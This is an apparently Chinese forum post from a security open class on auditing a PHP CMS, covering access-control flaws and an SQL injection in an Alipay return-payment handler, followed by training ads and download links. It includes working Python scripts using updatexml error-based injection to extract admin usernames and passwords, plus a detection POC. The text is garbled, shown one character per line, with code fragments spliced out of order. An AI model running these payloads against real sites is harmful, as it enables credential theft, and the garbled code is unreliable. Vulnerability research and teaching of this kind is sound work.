掘
这
类
漏
洞
以
下
是
注
意
点
会
员
操
作
功
能
,
任
何
操
作
的
地
方
地
方
都
可
以
造
成
越
权
,
挖
掘
思
路
S
Q
L
查
询
更
新
删
除
增
加
是
否
加
入
条
件
限
定
,
如
用
户
i
d
。
程
序
没
有
在
查
询
订
单
的
时
候
限
定
用
户
i
d
}
}
}
f
u
n
c
t
i
o
n
t
e
s
t
(
)
{
M
(
'
m
e
m
b
e
r
'
)
-
>
f
i
n
d
(
[
'
u
s
e
r
n
a
m
e
'
=
>
$
_
G
E
T
[
'
n
a
m
e
'
]
]
)
;
}
f
u
n
c
t
i
o
n
o
r
d
e
r
d
e
t
a
i
l
s
(
)
{
$
o
r
d
e
r
n
o
=
$
t
h
i
s
-
>
f
r
p
a
r
a
m
(
'
o
r
d
e
r
n
o
'
,
1
)
;
$
o
r
d
e
r
=
M
(
'
o
r
d
e
r
s
'
)
-
>
f
i
n
d
(
[
'
o
r
d
e
r
n
o
'
=
>
$
o
r
d
e
r
n
o
]
)
;
/
/
$
o
r
d
e
r
=
M
(
'
o
r
d
e
r
s
'
)
-
>
f
i
n
d
(
[
'
o
r
d
e
r
n
o
'
=
>
$
o
r
d
e
r
n
o
,
'
u
s
e
r
i
d
'
=
>
$
t
h
i
s
-
>
m
e
m
b
e
r
[
'
i
d
'
]
]
)
;
i
f
(
$
o
r
d
e
r
n
o
&
&
$
o
r
d
e
r
)
{
/
*
i
f
(
$
o
r
d
e
r
[
'
i
s
s
h
o
w
'
]
!
=
1
)
{
/
/
超
时
或
者
已
支
付
i
f
(
$
o
r
d
e
r
[
'
i
s
s
h
o
w
'
]
=
=
0
)
{
$
m
s
g
=
'
订
单
已
删
除
'
;
}
i
f
(
$
o
r
d
e
r
[
'
i
s
s
h
o
w
'
]
=
=
3
)
{
$
m
s
g
=
'
订
单
已
过
期
,
不
可
支
付
!
'
;
}
i
f
(
$
o
r
d
e
r
[
'
i
s
s
h
o
w
'
]
=
=
2
)
{
$
m
s
g
=
'
订
单
已
支
付
,
请
勿
重
复
操
作
!
'
;
}
i
f
(
$
t
h
i
s
-
>
f
r
p
a
r
a
m
(
'
a
j
a
x
'
)
)
{
J
s
o
n
R
e
t
u
r
n
(
[
'
c
o
d
e
'
=
>
1
,
'
m
s
g
'
=
>
$
m
s
g
]
)
;
}
E
r
r
o
r
(
$
m
s
g
)
;
}
*
/
$
c
a
r
t
s
=
e
x
p
l
o
d
e
(
'
|
|
'
,
$
o
r
d
e
r
[
'
b
o
d
y
'
]
)
;
$
n
e
w
=
[
]
;
f
o
r
e
a
c
h
(
$
c
a
r
t
s
a
s
$
k
=
>
$
v
)
{
$
d
=
e
x
p
l
o
d
e
(
'
-
'
,
$
v
)
;
i
f
(
$
d
[
0
]
!
=
'
'
)
{
/
/
兼
容
多
模
块
化
i
f
(
i
s
s
e
t
(
$
t
h
i
s
-
>
c
l
a
s
s
t
y
p
e
d
a
t
a
[
$
d
[
0
]
]
)
)
{
$
t
y
p
e
=
$
t
h
i
s
-
>
c
l
a
s
s
t
y
p
e
d
a
t
a
[
$
d
[
0
]
]
;
$
r
e
s
=
M
(
$
t
y
p
e
[
'
m
o
l
d
s
'
]
)
-
>
f
i
n
d
(
[
'
i
d
'
=
>
$
d
[
1
]
]
)
;
$
n
e
w
[
]
=
[
'
i
n
f
o
'
=
>
$
r
e
s
,
'
n
u
m
'
=
>
$
d
[
2
]
,
'
t
i
d
'
=
>
$
d
[
0
]
,
'
i
d
'
=
>
$
d
[
1
]
,
'
p
r
i
c
e
'
=
>
$
d
[
3
]
]
;
}
e
l
s
e
{
$
n
e
w
[
]
=
[
'
i
n
f
o
'
=
>
f
a
l
s
e
,
'
n
u
m
'
=
>
$
d
[
2
]
,
'
t
i
d
'
=
>
$
d
[
0
]
,
'
i
d
'
=
>
$
d
[
1
]
,
'
p
r
i
c
e
'
=
>
$
d
[
3
]
]
;
}
}
}
$
t
h
i
s
-
>
c
a
r
t
s
=
$
n
e
w
;
$
t
h
i
s
-
>
o
r
d
e
r
=
$
o
r
d
e
r
;
$
t
h
i
s
-
>
d
i
s
p
l
a
y
(
$
t
h
i
s
-
>
t
e
m
p
l
a
t
e
.
'
/
u
s
e
r
/
o
r
d
e
r
d
e
t
a
i
l
s
'
)
;
}
3
.
2
注
入
漏
洞
的
挖
掘
注
入
漏
洞
的
挖
掘
整
个
框
架
f
r
p
a
r
a
m
方
法
对
输
入
参
数
传
递
是
非
常
严
格
的
。
可
以
通
过
搜
索
$
t
h
i
s
-
>
f
r
p
a
r
a
m
(
(
.
*
?
)
,
4
)
当
参
数
为
4
的
时
候
过
滤
。
如
果
是
i
n
t
类
型
可
以
造
成
注
入
输
入
的
参
数
经
过
f
r
p
a
r
a
m
处
理
的
也
是
可
以
造
成
注
入
。
也
可
以
通
过
搜
索
$
_
G
E
T
、
$
_
P
O
S
T
、
$
_
C
O
O
K
I
E
有
没
有
对
参
数
进
行
过
滤
/
H
o
m
e
/
c
/
M
y
p
a
y
C
o
n
t
r
o
l
l
e
r
.
p
h
p
f
u
n
c
t
i
o
n
a
l
i
p
a
y
_
r
e
t
u
r
n
_
p
a
y
(
)
{
e
x
t
e
n
d
F
i
l
e
(
'
p
a
y
/
a
l
i
p
a
y
/
A
l
i
p
a
y
S
e
r
v
i
c
e
C
h
e
c
k
.
p
h
p
'
)
;
/
/
支
付
宝
公
钥
,
账
户
中
心
-
>
密
钥
管
理
-
>
开
放
平
台
密
钥
,
找
到
添
加
了
支
付
功
能
的
应
用
,
根
据
你
的
加
密
类
型
,
查
看
支
付
宝
公
钥
$
a
l
i
p
a
y
P
u
b
l
i
c
K
e
y
=
$
t
h
i
s
-
>
w
e
b
c
o
n
f
[
'
a
l
i
p
a
y
_
p
u
b
l
i
c
_
k
e
y
'
]
;
$
a
l
i
P
a
y
=
n
e
w
A
l
i
p
a
y
S
e
r
v
i
c
e
C
h
e
c
k
(
$
a
l
i
p
a
y
P
u
b
l
i
c
K
e
y
)
;
/
/
验
证
签
名
$
r
e
s
u
l
t
=
$
a
l
i
P
a
y
-
>
r
s
a
C
h
e
c
k
(
$
_
G
E
T
,
$
_
G
E
T
[
'
s
i
g
n
_
t
y
p
e
'
]
)
;
i
f
(
$
r
e
s
u
l
t
=
=
=
t
r
u
e
)
{
/
/
同
步
回
调
一
般
不
处
理
业
务
逻
辑
,
显
示
一
个
付
款
成
功
的
页
面
,
或
者
跳
转
到
用
户
的
财
务
记
录
页
面
即
可
。
/
/
e
c
h
o
'
<
h
1
>
付
款
成
功
<
/
h
1
>
'
;
$
o
u
t
_
t
r
a
d
e
_
n
o
=
h
t
m
l
s
p
e
c
i
a
l
c
h
a
r
s
(
$
_
G
E
T
[
'
o
u
t
_
t
r
a
d
e
_
n
o
'
]
)
;
$
o
r
d
e
r
n
o
=
$
o
u
t
_
t
r
a
d
e
_
n
o
;
e
c
h
o
$
o
r
d
e
r
n
o
;
$
p
a
y
t
i
m
e
=
t
i
m
e
(
)
;
$
o
r
d
e
r
=
M
(
'
o
r
d
e
r
s
'
)
-
>
f
i
n
d
(
[
'
o
r
d
e
r
n
o
'
=
>
$
o
r
d
e
r
n
o
]
)
;
i
f
(
!
$
o
r
d
e
r
)
{
E
r
r
o
r
(
'
支
付
成
功
,
但
是
系
统
内
没
有
找
到
相
应
的
订
单
!
'
.
$
o
r
d
e
r
n
o
,
g
e
t
_
d
o
m
a
i
n
(
)
)
;
}
i
f
(
$
o
r
d
e
r
[
'
i
s
p
a
y
'
]
=
=
1
)
{
/
/
跳
转
对
应
查
询
详
情
/
/
S
u
c
c
e
s
s
(
'
支
付
成
功
!
'
,
U
(
'
U
s
e
r
/
d
e
t
a
i
l
s
'
,
[
'
i
d
'
=
>
$
o
r
d
e
r
[
'
i
d
'
]
]
)
)
;
$
t
h
i
s
-
>
o
v
e
r
p
a
y
(
$
o
r
d
e
r
[
'
o
r
d
e
r
n
o
'
]
)
;
e
x
i
t
;
}
$
r
=
M
(
'
o
r
d
e
r
s
'
)
-
>
u
p
d
a
t
e
(
[
'
o
r
d
e
r
n
o
'
=
>
$
o
r
d
e
r
n
o
]
,
[
'
i
s
p
a
y
'
=
>
1
,
'
i
s
s
h
o
w
'
=
>
2
,
'
p
a
y
t
i
m
e
'
=
>
$
p
a
y
t
i
m
e
]
)
;
/
/
检
查
是
否
金
币
或
积
分
充
值
i
f
(
$
o
r
d
e
r
[
'
p
t
y
p
e
'
]
=
=
2
)
{
/
/
金
币
充
值
M
(
'
m
e
m
b
e
r
'
)
-
>
g
o
I
n
c
(
[
'
i
d
'
=
>
$
o
r
d
e
r
[
'
u
s
e
r
i
d
'
]
]
,
'
m
o
n
e
y
'
,
$
o
r
d
e
r
[
'
j
i
f
e
n
'
]
)
;
$
w
w
[
'
u
s
e
r
i
d
'
]
=
$
o
r
d
e
r
[
'
u
s
e
r
i
d
'
]
;
$
w
w
[
'
a
m
o
u
n
t
'
]
=
$
o
r
d
e
r
[
'
j
i
f
e
n
'
]
;
$
w
w
[
'
m
o
n
e
y
'
]
=
$
o
r
d
e
r
[
'
m
o
n
e
y
'
]
;
$
w
w
[
'
t
y
p
e
'
]
=
1
;
$
w
w
[
'
m
s
g
'
]
=
'
在
线
充
值
'
;
$
w
w
[
'
o
r
d
e
r
n
o
'
]
=
$
o
r
d
e
r
[
'
o
r
d
e
r
n
o
'
]
;
$
w
w
[
'
b
u
y
t
y
p
e
'
]
=
'
m
o
n
e
y
'
;
$
w
w
[
'
a
d
d
t
i
m
e
'
]
=
t
i
m
e
(
)
;
M
(
'
b
u
y
l
o
g
'
)
-
>
a
d
d
(
$
w
w
)
;
}
e
l
s
e
i
f
(
$
o
r
d
e
r
[
'
p
t
y
p
e
'
]
=
=
3
)
{
/
/
积
分
M
(
'
m
e
m
b
e
r
'
)
-
>
g
o
I
n
c
(
[
'
i
d
'
=
>
$
o
r
d
e
r
[
'
u
s
e
r
i
d
'
]
]
,
'
j
i
f
e
n
'
,
$
o
r
d
e
r
[
'
j
i
f
e
n
'
]
)
;
$
w
w
[
'
u
s
e
r
i
d
'
]
=
$
o
r
d
e
r
[
'
u
s
e
r
i
d
'
]
;
$
w
w
[
'
a
m
o
u
n
t
'
]
=
$
o
r
d
e
r
[
'
j
i
f
e
n
'
]
;
$
w
w
[
'
m
o
n
e
y
'
]
=
$
o
r
d
e
r
[
'
m
o
n
e
y
'
]
;
h
t
m
l
s
p
e
c
i
a
l
c
h
a
r
s
(
$
_
G
E
T
[
'
o
u
t
_
t
r
a
d
e
_
n
o
'
]
)
过
滤
x
s
s
没
有
过
滤
字
符
串
4
.
p
y
t
h
o
n
编
写
编
写
e
x
p
采
用
u
p
d
a
t
e
x
m
l
报
错
技
巧
a
n
d
u
p
d
a
t
e
x
m
l
(
1
,
c
o
n
c
a
t
(
0
x
7
e
,
(
S
E
L
E
C
T
@
@
v
e
r
s
i
o
n
)
,
0
x
7
e
)
,
1
)
U
p
d
a
t
e
x
m
l
只
能
报
3
2
位
首
先
获
取
查
询
字
符
的
长
度
再
根
据
长
度
再
获
取
内
容
内
容
拼
接
在
一
起
就
是
账
号
和
密
码
。
$
w
w
[
'
t
y
p
e
'
]
=
1
;
$
w
w
[
'
m
s
g
'
]
=
'
在
线
充
值
'
;
$
w
w
[
'
o
r
d
e
r
n
o
'
]
=
$
o
r
d
e
r
[
'
o
r
d
e
r
n
o
'
]
;
$
w
w
[
'
b
u
y
t
y
p
e
'
]
=
'
j
i
f
e
n
'
;
$
w
w
[
'
a
d
d
t
i
m
e
'
]
=
t
i
m
e
(
)
;
M
(
'
b
u
y
l
o
g
'
)
-
>
a
d
d
(
$
w
w
)
;
}
/
/
支
付
成
功
后
处
理
.
.
.
$
t
h
i
s
-
>
o
v
e
r
p
a
y
(
$
o
r
d
e
r
[
'
o
r
d
e
r
n
o
'
]
)
;
e
x
i
t
;
}
e
c
h
o
'
不
合
法
的
请
求
'
;
e
x
i
t
(
)
;
#
c
o
n
d
i
n
g
:
u
t
f
-
8
i
m
p
o
r
t
r
e
q
u
e
s
t
s
i
m
p
o
r
t
r
e
d
e
f
g
e
t
_
l
e
n
(
u
r
l
)
:
h
t
m
l
=
r
e
q
u
e
s
t
s
.
g
e
t
(
u
r
l
=
u
r
l
+
"
/
M
y
p
a
y
/
a
l
i
p
a
y
_
r
e
t
u
r
n
_
p
a
y
?
o
u
t
_
t
r
a
d
e
_
n
o
=
1
'
a
n
d
u
p
d
a
t
e
x
m
l
(
1
,
c
o
n
c
a
t
(
0
x
7
e
,
(
S
E
L
E
C
T
d
i
s
t
i
n
c
t
L
E
N
G
T
H
(
c
o
n
c
a
t
(
0
x
2
3
,
n
a
m
e
,
0
x
3
a
,
p
a
s
s
,
0
x
2
3
)
)
F
R
O
M
j
z
_
l
e
v
e
l
l
i
m
i
t
s
=
r
e
.
s
e
a
r
c
h
(
'
~
(
.
*
?
)
~
'
,
h
t
m
l
)
.
g
r
o
u
p
(
1
)
r
e
t
u
r
n
s
d
e
f
p
a
y
l
a
o
d
(
u
r
l
,
s
t
a
r
t
,
e
n
d
)
:
r
e
q
=
r
e
q
u
e
s
t
s
.
g
e
t
(
u
r
l
=
u
r
l
+
"
/
M
y
p
a
y
/
a
l
i
p
a
y
_
r
e
t
u
r
n
_
p
a
y
?
o
u
t
_
t
r
a
d
e
_
n
o
=
1
'
a
n
d
u
p
d
a
t
e
x
m
l
(
1
,
c
o
n
c
a
t
(
0
x
7
e
,
(
S
E
L
E
C
T
d
i
s
t
i
n
c
t
S
U
B
S
T
R
I
N
G
(
c
o
n
c
a
t
(
0
x
2
3
,
n
a
m
e
,
0
x
3
a
,
p
a
s
s
,
0
x
2
3
)
,
%
s
,
%
s
)
F
R
O
M
j
z
_
l
e
v
e
l
l
i
m
i
t
0
,
1
)
,
0
x
7
e
)
,
1
)
-
-
+
"
h
t
m
l
=
r
e
q
.
t
e
x
t
h
a
s
h
=
r
e
.
s
e
a
r
c
h
(
'
~
(
.
*
?
)
'
'
,
h
t
m
l
)
.
g
r
o
u
p
(
1
)
r
e
t
u
r
n
h
a
s
h
d
e
f
m
a
i
n
(
)
:
s
t
r
l
e
n
=
g
e
t
_
l
e
n
(
u
r
l
)
s
t
r
1
=
p
a
y
l
a
o
d
(
u
r
l
,
1
,
3
2
)
s
t
r
2
=
p
a
y
l
a
o
d
(
u
r
l
,
3
2
,
i
n
t
(
s
t
r
l
e
n
)
-
3
2
)
r
e
t
u
r
n
s
t
r
1
+
s
t
r
2
u
r
l
=
"
h
t
t
p
:
/
/
w
w
w
.
t
e
s
t
1
.
c
o
m
"
p
r
i
n
t
(
m
a
i
n
(
)
)
5
.
P
O
C
编
写
编
写
在
实
际
环
境
中
,
因
为
考
虑
到
其
他
因
素
一
般
提
供
P
O
C
验
证
就
可
以
了
。
6
.
直
播
间
问
题
汇
总
直
播
间
问
题
汇
总
公
开
课
提
到
一
些
问
题
。
6
.
1
没
有
基
础
可
以
学
习
代
码
审
计
吗
?
没
有
基
础
可
以
学
习
代
码
审
计
吗
?
代
码
审
计
最
好
有
一
些
编
程
基
础
,
基
本
的
函
数
变
量
流
程
要
看
懂
调
试
要
学
习
,
要
不
要
很
好
的
底
子
,
一
般
情
况
学
习
个
o
w
a
s
p
1
0
挖
一
些
基
本
的
漏
洞
不
是
什
么
大
问
题
。
如
果
要
挖
d
z
t
p
这
些
就
需
要
很
好
的
底
子
毕
竟
这
些
看
流
程
分
析
也
要
一
个
星
期
。
6
.
2
审
计
去
哪
里
学
习
审
计
去
哪
里
学
习
1
4
的
时
候
本
人
录
制
过
代
码
审
计
课
程
共
3
2
课
网
上
有
原
版
看
就
行
了
,
g
i
t
h
u
b
有
很
多
代
码
审
计
的
p
a
g
e
公
众
号
也
有
听
过
的
6
.
3
公
开
课
什
么
再
有
直
播
公
开
课
什
么
再
有
直
播
这
个
问
题
,
本
人
平
时
比
较
忙
,
想
法
是
每
一
个
星
期
有
一
课
,
但
是
公
开
课
找
课
题
,
整
理
课
件
也
要
挺
多
时
间
的
。
我
鼓
励
一
些
喜
欢
分
享
技
术
的
朋
友
可
以
参
与
公
开
课
。
公
开
课
都
是
免
费
性
质
原
则
上
不
收
费
任
何
费
用
,
因
为
直
播
在
现
场
就
能
免
费
观
看
和
免
费
解
答
一
些
问
题
,
但
是
有
人
错
失
直
播
的
第
一
时
间
,
想
观
看
回
访
或
者
回
顾
内
容
。
还
有
就
是
有
一
些
公
开
课
是
不
方
便
在
网
上
传
播
的
,
例
如
本
课
所
以
回
放
录
像
会
收
取
一
定
的
费
用
,
但
是
费
用
通
常
是
1
-
1
0
,
这
个
看
当
期
讲
师
的
意
愿
。
6
.
4
暗
月
安
全
团
队
还
收
人
不
?
暗
月
安
全
团
队
还
收
人
不
?
#
c
o
n
d
i
n
g
:
u
t
f
-
8
i
m
p
o
r
t
r
e
q
u
e
s
t
s
i
m
p
o
r
t
r
e
d
e
f
p
a
y
l
o
a
d
(
u
r
l
)
:
r
e
q
=
r
e
q
u
e
s
t
s
.
g
e
t
(
u
r
l
=
u
r
l
+
"
/
m
y
p
a
y
/
a
l
i
p
a
y
_
r
e
t
u
r
n
_
p
a
y
?
o
u
t
_
t
r
a
d
e
_
n
o
=
1
'
a
n
d
(
u
p
d
a
t
e
x
m
l
(
1
,
c
o
n
c
a
t
(
0
x
7
e
,
(
s
e
l
e
c
t
m
d
5
(
1
)
)
,
0
x
7
e
)
,
1
)
)
-
-
+
"
)
h
t
m
l
=
r
e
q
.
t
e
x
t
i
f
'
c
4
c
a
4
2
3
8
a
0
b
9
2
3
8
2
0
d
c
c
5
0
9
a
6
f
7
5
8
4
9
'
i
n
h
t
m
l
:
r
e
t
u
r
n
T
r
u
e
e
l
s
e
:
r
e
t
u
r
n
F
a
l
s
e
u
r
l
=
"
h
t
t
p
:
/
/
w
w
w
.
t
e
s
t
1
.
c
o
m
"
d
e
f
m
a
i
n
(
)
:
k
=
p
a
y
l
o
a
d
(
u
r
l
)
i
f
k
=
=
T
r
u
e
:
p
r
i
n
t
(
u
r
l
+
"
t
存
在
漏
洞
"
)
e
l
s
e
:
p
r
i
n
t
(
u
r
l
+
"
t
没
有
漏
洞
"
)
m
a
i
n
(
)
这
个
收
的
,
但
是
你
要
有
一
项
特
长
,
例
如
擅
长
u
i
设
计
的
、
写
前
端
的
、
后
端
的
、
二
进
制
的
、
c
t
f
的
、
渗
透
的
、
或
者
有
其
他
资
源
的
都
可
以
,
内
部
成
员
审
核
通
过
即
可
。
6
.
5
暗
月
你
还
有
做
安
全
培
训
吗
暗
月
你
还
有
做
安
全
培
训
吗
?
暗
月
还
是
有
做
安
全
培
训
的
费
用
是
2
.
3
k
很
优
惠
很
便
宜
了
,
加
入
后
你
可
以
学
习
到
暗
月
以
往
所
有
的
视
频
,
也
包
括
2
0
1
9
-
2
0
2
2
的
课
程
详
细
h
t
t
p
:
/
/
e
d
u
.
m
o
o
n
t
e
a
m
s
.
c
o
m
内
容
图
h
t
t
p
:
/
/
e
d
u
.
m
o
o
n
t
e
a
m
s
.
c
o
m
/
p
e
i
x
u
n
.
p
n
g
7
.
6
.
6
以
后
的
公
开
课
去
哪
里
观
看
以
后
的
公
开
课
去
哪
里
观
看
网
络
安
全
公
开
课
是
有
一
个
专
属
的
q
q
群
的
有
兴
趣
可
以
加
一
下
。
手
机
扫
一
扫
加
群
8
.
公
开
课
录
像
和
文
档
公
开
课
录
像
和
文
档
因
为
不
方
便
发
到
公
众
号
我
将
他
保
存
在
群
文
件
有
需
要
加
群
下
载
,
群
现
在
还
是
免
费
的
加
入
的
。
9
.
调
试
环
境
下
载
调
试
环
境
下
载
这
个
环
境
是
我
直
播
调
试
p
h
p
的
环
境
是
一
个
w
i
n
1
0
虚
拟
机
用
V
M
w
a
r
e
打
开
导
入
就
可
以
了
。
V
M
w
a
r
e
的
版
本
1
4
.
1
.
3
p
r
o
如
果
不
会
设
置
文
件
很
容
易
会
超
时
的
这
个
是
不
会
超
时
的
版
本
。
p
h
p
s
t
r
o
m
-
p
h
p
s
t
u
d
y
+
x
d
e
b
u
g
调
试
环
境
下
载
建
议
设
置
h
o
s
t
模
式
。
链
接
:
h
t
t
p
s
:
/
/
p
a
n
.
b
a
i
d
u
.
c
o
m
/
s
/
1
-
L
d
i
S
x
I
K
E
W
K
H
x
2
B
y
w
y
x
a
4
Q
提
取
码
:
r
o
2
y
1
0
.
关
注
公
众
号
关
注
公
众
号
如
果
你
觉
得
公
众
号
不
错
或
者
对
你
有
帮
助
,
请
分
享
到
你
的
盆
友
圈
,
让
更
多
人
认
识
玩
们
,
谢
谢
。
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页